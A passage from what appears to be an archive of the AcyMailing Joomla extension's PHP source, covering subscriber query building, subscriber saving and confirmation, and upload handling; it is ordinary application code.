							if(currentVal == '' || currentVal == parseInt(currentVal)){
								if(currentVal == ''){ dateTmp = new Date();}
								else{ dateTmp = new Date(1000*currentVal); }
								document.getElementById('dateDetail_year').value = dateTmp.getFullYear();
								month = dateTmp.getMonth() + 1;
								if(month < 10){ month = '0'+ month; }
								document.getElementById('dateDetail_month').value = month;
								if(dateTmp.getDate() < 10){ day = '0'+ dateTmp.getDate(); }
								else{ day = dateTmp.getDate();}
								document.getElementById('dateDetail_day').value = day;
							} else{
								document.getElementById('dateDetail_year').value = currentVal.substr(0,4);
								document.getElementById('dateDetail_month').value = currentVal.substr(5,2);
								document.getElementById('dateDetail_day').value = currentVal.substr(8,2);
							}
						}

						document.getElementById('dateDetails').style.left = e.clientX + 'px';
						document.getElementById('dateDetails').style.top = e.clientY + 20 + 'px';
					}catch(err){
						document.getElementById('dateDetails').style.left = e.x+'px';
						document.getElementById('dateDetails').style.top = e.y+20+'px';
					}

					document.getElementById('dateDetails').style.display = 'block';
				}

				function toggleDateBtn(btnToActive){
					if(btnToActive == 'specific'){
						if(typeof jQuery != 'undefined'){
							jQuery('#dateDetail_typefieldset label[for=dateDetail_typespecificdate]').click();
							jQuery('#dateDetail_typespecificdate').click();
						}else{
							document.getElementById('dateDetail_typerelativedate').checked='';
							document.getElementById('dateDetail_typespecificdate').checked='checked';
						}
						document.getElementById('specificDate').style.display = 'inline';
						document.getElementById('relativeDate').style.display = 'none';
					} else{
						if(typeof jQuery != 'undefined'){
							jQuery('#dateDetail_type label[for=dateDetail_typerelativedate]').click();
							jQuery('#dateDetail_typerelativedate').click();
						}else{
							document.getElementById('dateDetail_typerelativedate').checked='checked';
							document.getElementById('dateDetail_typespecificdate').checked='';
						}
						document.getElementById('specificDate').style.display = 'none';
						document.getElementById('relativeDate').style.display = 'inline';
					}
				}";

		acymailing_addScript(true, $js);

		$dateDetails = '<div id="dateDetails" style="display:none;z-index: 60;">';
		$dateTypeData = array();
		$dateTypeData[] = acymailing_selectOption('relativedate', acymailing_translation('ACY_RELATIVE_DATE'));
		$dateTypeData[] = acymailing_selectOption('specificdate', acymailing_translation('ACY_SPECIFIC_DATE'));
		$dateDetails .= '<div class="dateDetailType">'.acymailing_radio($dateTypeData, 'dateDetail_type', 'onchange="updateDateDetail(this);"', 'value', 'text', 'relativedate', 'dateDetail_type').'</div>';
		$dateDetails .= '<div id="relativeDate">';
		$dateDetails .= '<input type="text" name="dateDetail_delay" id="dateDetail_delay" size="5" style="width:30px" value="0" pattern="[0-9]*"> ';
		$tempData = array();
		$tempData[] = acymailing_selectOption('minutes', acymailing_translation('ACY_MINUTES'));
		$tempData[] = acymailing_selectOption('hours', acymailing_translation('HOURS'));
		$tempData[] = acymailing_selectOption('days', acymailing_translation('DAYS'));
		$dateDetails .= acymailing_select($tempData, 'dateDetail_length', 'style="width:100px"', 'value', 'text');
		$tempData = array();
		$tempData[] = acymailing_selectOption('before', acymailing_translation('ACY_BEFORE'));
		$tempData[] = acymailing_selectOption('after', acymailing_translation('ACY_AFTER'));
		$dateDetails .= acymailing_select($tempData, 'dateDetail_operator', 'style="width:100px"', 'value', 'text');
		$dateDetails .= ' '.acymailing_translation('ACY_EXECUTION_TIME');
		$dateDetails .= '</div>';
		$dateDetails .= '<div id="specificDate" style="display:none;">';
		$tempData = array();
		$currentYear = (int)date('Y');
		for($i = 1970; $i <= $currentYear + 5; $i++){
			$tempData[] = acymailing_selectOption($i, $i);
		}
		$dateDetails .= acymailing_select($tempData, 'dateDetail_year', 'style="width:80px"', 'value', 'text');
		$tempData = array();
		for($i = 1; $i < 13; $i++){
			$monthVal = ($i < 10 ? '0'.$i : $i);
			$tempData[] = acymailing_selectOption($monthVal, $monthVal);
		}
		$dateDetails .= acymailing_select($tempData, 'dateDetail_month', 'style="width:60px"', 'value', 'text');
		$tempData = array();
		for($i = 1; $i < 32; $i++){
			$dayVal = ($i < 10 ? '0'.$i : $i);
			$tempData[] = acymailing_selectOption($dayVal, $dayVal);
		}
		$dateDetails .= acymailing_select($tempData, 'dateDetail_day', 'style="width:60px"', 'value', 'text');
		$dateDetails .= '</div>';
		$dateDetails .= '<div class="dateBtn"><input type="button" onClick="hideDateDetail();" class="btn btn-danger" value="'.acymailing_translation('ACY_CANCEL').'"> <input type="button" onClick="validateDateField();" class="btn btn-success" value="'.acymailing_translation('ACY_OK').'"></div>';
		$dateDetails .= '</div>';
		echo($dateDetails);
	}
}

class acyQuery{
	var $leftjoin = array();
	var $join = array();
	var $where = array();
	var $from = '#__acymailing_subscriber as sub';
	var $limit = '';
	var $orderBy = '';

	function __construct(){
		if('joomla' == 'joomla')	$this->db = JFactory::getDBO();
	}

	function count(){
		$myquery = $this->getQuery(array('COUNT(DISTINCT sub.subid)'));
		return acymailing_loadResult($myquery);
	}

	function getQuery($select = array()){
		$query = '';
		if(!empty($select)) $query .= ' SELECT DISTINCT '.implode(',', $select);
		if(!empty($this->from)) $query .= ' FROM '.$this->from;
		if(!empty($this->join)) $query .= ' JOIN '.implode(' JOIN ', $this->join);
		if(!empty($this->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $this->leftjoin);
		if(!empty($this->where)) $query .= ' WHERE ('.implode(') AND (', $this->where).')';
		if(!empty($this->orderBy)) $query .= ' ORDER BY '.$this->orderBy;
		if(!empty($this->limit)) $query .= ' LIMIT '.$this->limit;

		return $query;
	}

	function convertQuery($as, $column, $operator, $value, $type = ''){

		$operator = str_replace(array('&lt;', '&gt;'), array('<', '>'), $operator);

		if($operator == 'CONTAINS'){
			$operator = 'LIKE';
			$value = '%'.$value.'%';
		}elseif($operator == 'BEGINS'){
			$operator = 'LIKE';
			$value = $value.'%';
		}elseif($operator == 'END'){
			$operator = 'LIKE';
			$value = '%'.$value;
		}elseif($operator == 'NOTCONTAINS'){
			$operator = 'NOT LIKE';
			$value = '%'.$value.'%';
		}elseif($operator == 'REGEXP'){
			if($value === '') return '1 = 1';
		}elseif($operator == 'NOT REGEXP'){
			if($value === '') return '0 = 1';
		}elseif(!in_array($operator, array('IS NULL', 'IS NOT NULL', 'NOT LIKE', 'LIKE', '=', '!=', '>', '<', '>=', '<='))){
			die('Operator not safe : '.$operator);
		}

		if(strpos($value, '{time}') !== false){
			$value = acymailing_replaceDate($value);
			$value = strftime('%Y-%m-%d %H:%M:%S', $value);
		}

		$replace = array('{year}', '{month}', '{weekday}', '{day}');
		$replaceBy = array(date('Y'), date('m'), date('N'), date('d'));
		$value = str_replace($replace, $replaceBy, $value);

		if(preg_match_all('#{(year|month|weekday|day)\|(add|remove):([^}]*)}#Uis', $value, $results)){

			foreach($results[0] as $i => $oneMatch){
				$format = str_replace(array('year', 'month', 'weekday', 'day'), array('Y', 'm', 'N', 'd'), $results[1][$i]);
				$delay = str_replace(array('add', 'remove'), array('+', '-'), $results[2][$i]).intval($results[3][$i]).' '.str_replace('weekday', 'day', $results[1][$i]);
				$value = str_replace($oneMatch, date($format, strtotime($delay)), $value);
			}
		}

		if(!is_numeric($value) OR in_array($operator, array('REGEXP', 'NOT REGEXP', 'NOT LIKE', 'LIKE', '=', '!='))){
			$value = acymailing_escapeDB($value);
		}

		if(in_array($operator, array('IS NULL', 'IS NOT NULL'))){
			$value = '';
		}

		if($type == 'datetime' && in_array($operator, array('=', '!='))){
			return 'DATE_FORMAT('.$as.'.`'.acymailing_secureField($column).'`, "%Y-%m-%d") '.$operator.' '.'DATE_FORMAT('.$value.', "%Y-%m-%d")';
		}
		if($type == 'timestamp' && in_array($operator, array('=', '!='))){
			return 'FROM_UNIXTIME('.$as.'.`'.acymailing_secureField($column).'`, "%Y-%m-%d") '.$operator.' '.'FROM_UNIXTIME('.$value.', "%Y-%m-%d")';
		}
		return $as.'.`'.acymailing_secureField($column).'` '.$operator.' '.$value;
	}

	function addFlag($id){
		if(!empty($this->orderBy) || !empty($this->limit)) {
			$flagQuery = 'UPDATE ' . acymailing_table('subscriber');
			$flagQuery .= ' SET filterflags = CONCAT(filterflags, "f' . intval($id) . 'f")';
			$flagQuery .= ' WHERE subid IN (
			SELECT subid FROM (SELECT sub.subid FROM ' . acymailing_table('subscriber') . ' AS sub';
			if(!empty($this->join)) $flagQuery .= ' JOIN ' . implode(' JOIN ', $this->join);
			if(!empty($this->leftjoin)) $flagQuery .= ' LEFT JOIN ' . implode(' LEFT JOIN ', $this->leftjoin);
			if(!empty($this->where)) $flagQuery .= ' WHERE (' . implode(') AND (', $this->where) . ')';
			if(!empty($this->orderBy)) $flagQuery .= ' ORDER BY ' . $this->orderBy;
			if(!empty($this->limit)) $flagQuery .= ' LIMIT ' . $this->limit;
			$flagQuery .= ') tmp);';
		}else{
			$flagQuery = 'UPDATE ' . acymailing_table('subscriber') . ' AS sub ';
			if(!empty($this->join)) $flagQuery .= ' JOIN ' . implode(' JOIN ', $this->join);
			if(!empty($this->leftjoin)) $flagQuery .= ' LEFT JOIN ' . implode(' LEFT JOIN ', $this->leftjoin);
			$flagQuery .= ' SET sub.filterflags = CONCAT(sub.filterflags, "f' . intval($id) . 'f")';
			if(!empty($this->where)) $flagQuery .= ' WHERE (' . implode(') AND (', $this->where) . ')';
		}
		acymailing_query($flagQuery);

		$this->join = array();
		$this->leftjoin = array();
		$this->where = array('sub.filterflags LIKE "%f'.intval($id).'f%"');
		$this->orderBy = '';
		$this->limit = '';
	}

	function removeFlag($id){
		acymailing_query('UPDATE '.acymailing_table('subscriber').' SET filterflags = REPLACE(filterflags, "f'.intval($id).'f", "") WHERE filterflags LIKE "%f'.intval($id).'f%"');
	}
}
com_acymailing/classes/subscriber.php000060400000053147152455305300014040 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class subscriberClass extends acymailingClass{

	var $tables = array('listsub', 'userstats', 'queue', 'history', 'subscriber');
	var $pkey = 'subid';
	var $namekey = 'email';
	var $restrictedFields = array('subid', 'key', 'confirmed', 'enabled', 'ip', 'userid', 'created');
	var $errors = array();
	var $checkVisitor = true;
	var $checkAccess = true;
	var $sendConf = true;
	var $forceConf = false;
	var $requireId = false;
	var $newUser = null;
	var $confirmationSent = false;
	var $sendNotif = true;
	var $sendWelcome = true;
	var $recordHistory = false;
	var $allowModif = false;
	var $extendedEmailVerif = false;

	var $userForNotification;
	var $triggerFilterBE = false;

	var $geolocRight = false;
	var $geolocData = null;


	function save($subscriber){
		$config = acymailing_config();
		acymailing_importPlugin('acymailing');

		if(isset($subscriber->email)){
			$subscriber->email = strtolower($subscriber->email);
			$userHelper = acymailing_get('helper.user');
			if(!$userHelper->validEmail($subscriber->email, $this->extendedEmailVerif)){
				echo "<script>alert('".acymailing_translation('VALID_EMAIL', true)."'); window.history.go(-1);</script>";
				exit;
			}
		}
		if(empty($subscriber->subid)){
			$currentUserid = acymailing_currentUserId();
			$currentEmail = acymailing_currentUserEmail();
			if($this->checkVisitor && !acymailing_isAdmin() && (int)$config->get('allow_visitor', 1) != 1 && (empty($currentUserid) OR strtolower($currentEmail) != $subscriber->email)){
				echo "<script> alert('".acymailing_translation('ONLY_LOGGED', true)."'); window.history.go(-1);</script>\n";
				exit;
			}
			if(empty($subscriber->email)) return false;
			$subscriber->subid = $this->subid($subscriber->email);
		}

		if(empty($subscriber->subid)){
			if(empty($subscriber->created)) $subscriber->created = time();
			if(empty($subscriber->ip)){
				$ipClass = acymailing_get('helper.user');
				$subscriber->ip = $ipClass->getIP();
			}

			$source = acymailing_getVar('cmd', 'acy_source');
			if(empty($subscriber->source) && !empty($source)) $subscriber->source = $source;

			if(empty($subscriber->name) && $config->get('generate_name', 1)) $subscriber->name = ucwords(trim(str_replace(array('.', '_', ')', ',', '(', '-', 1, 2, 3, 4, 5, 6, 7, 8, 9, 0), ' ', substr($subscriber->email, 0, strpos($subscriber->email, '@')))));
			$subscriber->key = acymailing_generateKey(14);
			acymailing_trigger('onAcyBeforeUserCreate', array(&$subscriber));
			$status = acymailing_insertObject(acymailing_table('subscriber'), $subscriber);
		}else{
			if(count((array)$subscriber) > 1){
				acymailing_trigger('onAcyBeforeUserModify', array(&$subscriber));
				$status = acymailing_updateObject(acymailing_table('subscriber'), $subscriber, 'subid');
			}else{
				$status = true;
			}
		}

		if(!$status) return false;

		$subid = empty($subscriber->subid) ? $status : $subscriber->subid;

		if($this->triggerFilterBE || !acymailing_isAdmin()){
			$filterClass = acymailing_get('class.filter');
			$filterClass->subid = $subid;
			$filterClass->trigger((empty($subscriber->subid) ? 'subcreate' : 'subchange'));
		}

		$classGeoloc = acymailing_get('class.geolocation');
		if(empty($subscriber->subid)){
			$subscriber->subid = $subid;

			if($this->geolocRight){
				$this->geolocData = $classGeoloc->saveGeolocation('creation', $subscriber->subid);
			}

			$this->userForNotification = $subscriber;
			$resultsTrigger = acymailing_trigger('onAcyUserCreate', array(&$subscriber));
			$this->recordHistory = true;
			$action = 'created';
		}else{
			if($this->geolocRight){
				$this->geolocData = $classGeoloc->saveGeolocation('modify', $subscriber->subid);
			}

			$resultsTrigger = acymailing_trigger('onAcyUserModify', array($subscriber));
			$action = 'modified';
		}

		if($this->recordHistory){
			$historyClass = acymailing_get('class.acyhistory');
			$historyClass->insert($subscriber->subid, $action);
			$this->recordHistory = false;
		}

		if($this->forceConf || (!acymailing_isAdmin() AND $this->sendConf)){
			$this->sendConf($subid);
		}

		return $subid;
	}

	function sendNotification(){
		if(empty($this->userForNotification)) return;
		$subscriber = $this->userForNotification;
		unset($this->userForNotification);

		$config = acymailing_config();
		$notifyUsers = $config->get('notification_created');
		if(acymailing_isAdmin() || empty($notifyUsers)) return;

		$mailer = acymailing_get('helper.mailer');
		$mailer->report = false;
		$mailer->autoAddUser = true;
		$mailer->checkConfirmField = false;
		foreach($subscriber as $map => $value){
			$mailer->addParam('user:'.$map, $value);
		}

		$mailer->addParam('action', acymailing_translation('ACY_NEW'));

		if(!empty($subscriber->subid)){
			$listSubClass = acymailing_get('class.listsub');
			$mailer->addParam('user:subscription', $listSubClass->getSubscriptionString($subscriber->subid));
			$mailer->addParam('user:subscriptiondates', $listSubClass->getSubscriptionString($subscriber->subid, true));
		}

		if(!empty($this->geolocData)){
			foreach($this->geolocData as $map => $value){
				$mailer->addParam('geoloc:notif_'.$map, $value);
			}
		}

		$mailer->addParamInfo();

		$allUsers = explode(' ', trim(str_replace(array(';', ','), ' ', $notifyUsers)));
		foreach($allUsers as $oneUser){
			if(empty($oneUser)) continue;
			$mailer->sendOne('notification_created', $oneUser);
		}
	}

	function sendConf($subid){
		if($this->confirmationSent) return false;

		$myuser = $this->get($subid);
		$config = acymailing_config();
		if(!empty($myuser->confirmed)) return false;

		if(!$config->get('require_confirmation', false)) return false;

		$mailClass = acymailing_get('helper.mailer');
		$mailClass->checkConfirmField = false;
		$mailClass->checkEnabled = false;
		$mailClass->checkAccept = false;
		$mailClass->report = $config->get('confirm_message', 0);
		$alias = "confirmation";
		if(acymailing_getVar('cmd', 'acy_source')){
			$sourceparams = explode('_', acymailing_getVar('cmd', 'acy_source'));
			$alias = acymailing_loadResult('SELECT alias FROM #__acymailing_mail WHERE published = 1 AND alias IN ("confirmation",'.acymailing_escapeDB('confirmation-'.$sourceparams[0]).','.acymailing_escapeDB('confirmation-'.$sourceparams[0].'-'.@$sourceparams[1]).','.acymailing_escapeDB('confirmation-'.$sourceparams[0].'-'.@$sourceparams[1].'-'.@$sourceparams[2]).') ORDER BY alias DESC');
		}

		$this->confirmationSentSuccess = $mailClass->sendOne($alias, $myuser);
		$this->confirmationSentError = $mailClass->reportMessage;
		$this->confirmationSent = true;
		return true;
	}

	function subid($email){
		if(is_numeric($email)){
			$cond = ' userid = '.$email;
		}else{
			if(!empty($email)) $email = acymailing_punycode($email);
			$cond = 'email = '.acymailing_escapeDB(trim($email));
		}
		return acymailing_loadResult('SELECT subid FROM '.acymailing_table('subscriber').' WHERE '.$cond);
	}


	function get($subid, $default = null){
		if(is_numeric($subid)){
			$column = 'subid';
		}else{
			$column = 'email';
			if(!empty($subid)) $subid = acymailing_punycode($subid);
		}
		return acymailing_loadObject('SELECT * FROM '.acymailing_table('subscriber').' WHERE '.$column.' = '.acymailing_escapeDB(trim($subid)).' LIMIT 1');
	}

	function getFull($subid){
		if(is_numeric($subid)){
			$column = 'subid';
		}else{
			$column = 'email';
			if(!empty($subid)) $subid = acymailing_punycode($subid);
		}
		return acymailing_loadObject('SELECT b.'.$this->cmsUserVars->username.' AS username, a.* FROM '.acymailing_table('subscriber').' as a LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.userid = b.'.$this->cmsUserVars->id.' WHERE '.$column.' = '.acymailing_escapeDB(trim($subid)).' LIMIT 1');
	}

	function getFrontendSubscription($subid, $index = ''){
		$subscription = $this->getSubscription($subid, $index);
		$copyAllLists = $subscription;
		$currentUserid = acymailing_currentUserId();
		foreach($copyAllLists as $id => $oneList){
			if(!$oneList->published OR empty($currentUserid)){
				unset($subscription[$id]);
				continue;
			}
			if($currentUserid == (int)$oneList->userid) continue;
			if(!acymailing_isAllowed($oneList->access_manage)){
				unset($subscription[$id]);
				continue;
			}
		}

		return $subscription;
	}

	function getSubscription($subid, $index = ''){
		$query = 'SELECT a.*, b.* FROM '.acymailing_table('list').' as b ';
		$query .= 'LEFT JOIN '.acymailing_table('listsub').' as a on a.listid = b.listid AND a.subid = '.intval($subid);
		$query .= ' WHERE b.type = \'list\'';
		$query .= ' ORDER BY b.ordering ASC';
		return acymailing_loadObjectList($query, $index);
	}

	function getSubscriptionStatus($subid, $listids = null){
		$query = 'SELECT status,listid FROM '.acymailing_table('listsub').' WHERE subid = '.intval($subid);
		if(!empty($listids)){
			acymailing_arrayToInteger($listids);
			$query .= ' AND listid IN ('.implode(',', $listids).')';
		}
		return acymailing_loadObjectList($query, 'listid');
	}

	function checkFields(&$data, &$subscriber){

		foreach($data as $column => $value){
			$column = trim(strtolower($column));
			if($this->allowModif || !in_array($column, $this->restrictedFields)){
				acymailing_secureField($column);
				if(is_array($value)){
					if(isset($value['day']) || isset($value['month']) || isset($value['year'])){
						$value = (empty($value['year']) ? '0000' : intval($value['year'])).'-'.(empty($value['month']) ? '00' : $value['month']).'-'.(empty($value['day']) ? '00' : $value['day']);
					}else{
						$value = implode(',', $value);
					}
				}

				$subscriber->$column = trim(strip_tags($value));

				if(!is_numeric($subscriber->$column)){
					if(function_exists('mb_detect_encoding') && mb_detect_encoding($subscriber->$column, 'UTF-8', true) != 'UTF-8'){
						$subscriber->$column = utf8_encode($subscriber->$column);
					}elseif(!function_exists('mb_detect_encoding') && !preg_match('%^(?:[\x09\x0A\x0D\x20-\x7E]|[\xC2-\xDF][\x80-\xBF]|\xE0[\xA0-\xBF][\x80-\xBF]|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}|\xED[\x80-\x9F][\x80-\xBF]|\xF0[\x90-\xBF][\x80-\xBF]{2}|[\xF1-\xF3][\x80-\xBF]{3}|\xF4[\x80-\x8F][\x80-\xBF]{2})*$%xs', $subscriber->$column)){
						$subscriber->$column = utf8_encode($subscriber->$column);
					}
				}
			}
		}

		if(!acymailing_level(3) || empty($_FILES)) return;

		
		$config = acymailing_config();
		$uploadFolder = trim(acymailing_cleanPath(html_entity_decode(acymailing_getFilesFolder())), DS.' ').DS;
		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.$uploadFolder.'userfiles'.DS);
		acymailing_createDir(acymailing_cleanPath(ACYMAILING_ROOT.$uploadFolder), true);
		acymailing_createDir($uploadPath, true);


		foreach($_FILES as $typename => $type){
			$type2 = isset($type['name']['subscriber']) ? $type['name']['subscriber'] : $type['name'];
			if(empty($type2) || !is_array($type2)) continue;
			foreach($type2 as $fieldname => $filename){
				if(empty($filename)) continue;
				acymailing_secureField($fieldname);
				$attachment = new stdClass();
				$filename = acymailing_makeSafeFile(strtolower(strip_tags($filename)));
				$attachment->filename = time().rand(1, 999).'_'.$filename;
				while(file_exists($uploadPath.$attachment->filename)){
					$attachment->filename = time().rand(1, 999).'_'.$filename;
				}

				if(!preg_match('#\.('.str_replace(array(',', '.'), array('|', '\.'), $config->get('allowedfiles')).')$#Ui', $attachment->filename, $extension) || preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)#Ui', $attachment->filename)){
					echo "<script>alert('".acymailing_translation_sprintf('ACCEPTED_TYPE', substr($attachment->filename, strrpos($attachment->filename, '.') + 1), $config->get('allowedfiles'))."');window.history.go(-1);</script>";
					exit;
				}
				$attachment->filename = str_replace(array('.', ' '), '_', substr($attachment->filename, 0, strpos($attachment->filename, $extension[0]))).$extension[0];

				$tmpFile = isset($type['name']['subscriber']) ? $_FILES[$typename]['tmp_name']['subscriber'][$fieldname] : $_FILES[$typename]['tmp_name'][$fieldname];
				if(!acymailing_uploadFile($tmpFile, $uploadPath.$attachment->filename)){
					echo "<script>alert('".acymailing_translation_sprintf('FAIL_UPLOAD', '<b><i>'.$tmpFile.'</i></b>', '<b><i>'.$uploadPath.$attachment->filename.'</i></b>')."');window.history.go(-1);</script>";
					exit;
				}

				$subscriber->$fieldname = $attachment->filename;
			}
		}
	}

	function saveForm(){
		$config = acymailing_config();
		$allowUserModifications = (bool)($config->get('allow_modif', 'data') == 'all') || $this->allowModif;
		$allowSubscriptionModifications = (bool)($config->get('allow_modif', 'data') != 'none') || $this->allowModif;

		$subscriber = new stdClass();
		$subscriber->subid = acymailing_getCID('subid');

		if(!$this->allowModif && !empty($subscriber->subid)){
			$user = $this->identify();
			$allowUserModifications = true;
			$allowSubscriptionModifications = true;
			if($user->subid != $subscriber->subid){
				die('You are not allowed to modify this user');
			}
		}

		$formData = acymailing_getVar('array', 'data', array(), '');
		if(!empty($formData['subscriber'])){
			$this->checkFields($formData['subscriber'], $subscriber);
		}

		if(!empty($subscriber->email)) $subscriber->email = acymailing_punycode($subscriber->email);

		if(empty($subscriber->subid)){
			if(empty($subscriber->email)){
				echo "<script>alert('".acymailing_translation('VALID_EMAIL', true)."'); window.history.go(-1);</script>";
				exit;
			}
		}

		if(!empty($subscriber->email)){
			$existSubscriber = acymailing_loadObject('SELECT * FROM #__acymailing_subscriber WHERE email = '.acymailing_escapeDB($subscriber->email).' AND subid != '.intval(@$subscriber->subid));
			if(!empty($existSubscriber->subid)){
				$overwritenow = true;
				if($this->allowModif){
					if(acymailing_isAdmin()){
						$overwritenow = false;
					}else{
						$listClass = acymailing_get('class.list');
						$allowedLists = $listClass->getFrontendLists('listid');
						if(empty($allowedLists)){
							$this->errors[] = "Not sure how you were able to edit this user if you don't own any list...";
							return false;
						}
						$allowedlistid = acymailing_loadResult('SELECT listid FROM #__acymailing_listsub WHERE subid = '.intval($existSubscriber->subid).' AND listid IN ('.implode(',', array_keys($allowedLists)).')');
						if(!empty($allowedlistid)) $overwritenow = false;
					}
				}

				if($overwritenow){
					$subscriber->subid = $existSubscriber->subid;
					$subscriber->confirmed = $existSubscriber->confirmed;
				}else{
					$this->errors[] = acymailing_translation_sprintf('USER_ALREADY_EXISTS', $subscriber->email);
					$this->errors[] = '<a href="'.acymailing_completeLink((acymailing_isAdmin() ? 'subscriber' : 'frontsubscriber&listid='.$allowedlistid).'&task=edit&subid='.$existSubscriber->subid).'" >'.acymailing_translation('CLICK_EDIT_USER').'</a>';
					return false;
				}
			}
		}

		if(!$this->allowModif && !empty($subscriber->subid) && !empty($subscriber->email)){
			$existSubscriber = $this->get($subscriber->subid);
			if(trim(strtolower($subscriber->email)) != strtolower($existSubscriber->email)){
				$subscriber->confirmed = 0;
			}
		}

		$this->recordHistory = true;
		$this->newUser = empty($subscriber->subid) ? true : false;
		if(empty($subscriber->subid) OR $allowUserModifications){
			if(isset($subscriber->html) && $subscriber->html != 1) $subscriber->html = 0;
			if(isset($subscriber->confirmed) && $subscriber->confirmed != 1) $subscriber->confirmed = 0;
			if(isset($subscriber->enabled) && $subscriber->enabled != 1) $subscriber->enabled = 0;
			if(isset($subscriber->accept) && $subscriber->accept != 1) $subscriber->accept = 0;
			$subid = $this->save($subscriber);
			$allowSubscriptionModifications = true;
		}else{
			$subid = $subscriber->subid;
			if(isset($subscriber->confirmed) && empty($subscriber->confirmed)) $this->sendConf($subid);
		}
		acymailing_setVar('subid', $subid);

		if(empty($subid)) return false;

		if(!$this->allowModif && isset($subscriber->accept) && $subscriber->accept == 0) $formData['masterunsub'] = 1;

		if(!acymailing_isAdmin()){
			$hiddenlistsString = acymailing_getVar('string', 'hiddenlists', '');
			if(!empty($hiddenlistsString)){
				$hiddenlists = explode(',', $hiddenlistsString);
				acymailing_arrayToInteger($hiddenlists);
				foreach($hiddenlists as $oneListId){
					$formData['listsub'][$oneListId] = array('status' => 1);
				}
			}
		}

		if(empty($formData['listsub'])) return true;

		if(!$allowSubscriptionModifications){
			$mailClass = acymailing_get('helper.mailer');
			$mailClass->checkConfirmField = false;
			$mailClass->checkEnabled = false;
			$mailClass->report = false;
			$mailClass->sendOne('modif', $subid);
			$this->requireId = true;
			return false;
		}
		$subscriptionSaved = $this->saveSubscription($subid, $formData['listsub']);

		$notifContact = $config->get('notification_contact_menu');
		if(!empty($notifContact) && !acymailing_isAdmin()){
			$userHelper = acymailing_get('helper.user');
			$mailer = acymailing_get('helper.mailer');
			$listsubClass = acymailing_get('class.listsub');
			$mailer->autoAddUser = true;
			$mailer->checkConfirmField = false;
			$mailer->report = false;
			foreach($subscriber as $field => $value) $mailer->addParam('user:'.$field, $value);
			if(empty($subscriber->email)){
				$myUser = $this->get($subscriber->subid);
				$mailer->addParam('user:name', $myUser->name);
				$mailer->addParam('user:email', $myUser->email);
			}
			$mailer->addParam('user:subscription', $listsubClass->getSubscriptionString($subscriber->subid));
			$mailer->addParam('user:subscriptiondates', $listsubClass->getSubscriptionString($subscriber->subid, true));
			$mailer->addParam('user:ip', $userHelper->getIP());
			if(!empty($this->geolocData)){
				foreach($this->geolocData as $map => $value){
					$mailer->addParam('geoloc:notif_'.$map, $value);
				}
			}
			$mailer->addParamInfo();
			$allUsers = explode(' ', trim(str_replace(array(';', ','), ' ', $notifContact)));
			foreach($allUsers as $oneUser){
				if(empty($oneUser)) continue;
				$mailer->sendOne('notification_contact_menu', $oneUser);
			}
		}
		return $subscriptionSaved;
	}

	function saveSubscription($subid, $formlists){

		$addlists = array();
		$removelists = array();
		$updatelists = array();

		$listids = array_keys($formlists);
		$currentSubscription = $this->getSubscriptionStatus($subid, $listids);

		foreach($formlists as $listid => $oneList){
			if(empty($oneList['status'])){
				if(isset($currentSubscription[$listid])) $removelists[] = $listid;
				continue;
			}

			if($this->confirmationSent && $oneList['status'] == 1) $oneList['status'] = 2;

			if(!isset($currentSubscription[$listid])){
				if($oneList['status'] != -1) $addlists[$oneList['status']][] = $listid;

				continue;
			}

			if($currentSubscription[$listid]->status == $oneList['status']) continue;

			if($currentSubscription[$listid]->status == 1 && $oneList['status'] == 2 && !$this->allowModif) continue;

			$updatelists[$oneList['status']][] = $listid;
		}

		$listsubClass = acymailing_get('class.listsub');
		$listsubClass->checkAccess = $this->checkAccess;
		$status = true;
		if(!empty($updatelists)) $status = $listsubClass->updateSubscription($subid, $updatelists) && $status;
		if(!empty($removelists)) $status = $listsubClass->removeSubscription($subid, $removelists) && $status;
		if(!empty($addlists)) $status = $listsubClass->addSubscription($subid, $addlists) && $status;

		return $status;
	}

	function confirmSubscription($subid){

		$historyClass = acymailing_get('class.acyhistory');
		$historyClass->insert($subid, 'confirmed');

		$userHelper = acymailing_get('helper.user');
		$ip = $userHelper->getIP();

		$res = acymailing_query('UPDATE '.acymailing_table('subscriber').' SET `confirmed` = 1, `confirmed_date` = '.time().', `confirmed_ip` = '.acymailing_escapeDB($ip).' WHERE `subid` = '.intval($subid).' LIMIT 1');
		if($res === false){
			acymailing_display('Please contact the admin of this website with the error message :<br />'.substr(strip_tags(acymailing_getDBError()), 0, 200).'...', 'error');
			exit;
		}

		$listids = acymailing_loadResultArray('SELECT `listid` FROM '.acymailing_table('listsub').' WHERE `status` = 2 AND `subid` = '.intval($subid));

		acymailing_importPlugin('acymailing');
		acymailing_trigger('onAcyConfirmUser', array($subid));

		if($this->geolocRight){
			$classGeoloc = acymailing_get('class.geolocation');
			$this->geolocData = $classGeoloc->saveGeolocation('confirm', $subid);
		}

		if(empty($listids)) return;

		$listsubClass = acymailing_get('class.listsub');
		$listsubClass->sendConf = $this->sendWelcome;
		$listsubClass->forceConf = $this->forceConf;
		$listsubClass->sendNotif = $this->sendNotif;
		$listsubClass->updateSubscription($subid, array(1 => $listids));
	}

	function identify($onlyvalue = false){
		$subid = acymailing_getVar('int', "subid", 0);
		$key = acymailing_getVar('string', "key", '');

		if(empty($subid) OR empty($key)){
			$currentUserid = acymailing_currentUserId();
			if(!empty($currentUserid)){
				$userIdentified = $this->get(acymailing_currentUserEmail());
				return $userIdentified;
			}
			if(!$onlyvalue){
				acymailing_enqueueMessage(acymailing_translation('ASK_LOG'), 'error');
			}
			return false;
		}

		$userIdentified = acymailing_loadObject('SELECT * FROM '.acymailing_table('subscriber').' WHERE `subid` = '.acymailing_escapeDB($subid).' AND `key` = '.acymailing_escapeDB($key).' LIMIT 1');
		if(!empty($userIdentified->email)) $userIdentified->email = acymailing_punycode($userIdentified->email, 'emailToUTF8');

		if(empty($userIdentified)){
			if(!$onlyvalue) acymailing_enqueueMessage(acymailing_translation('INVALID_KEY'), 'error');
			return false;
		}

		return $userIdentified;
	}

}
com_acymailing/classes/rules.php000060400000003471152455305300013022 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
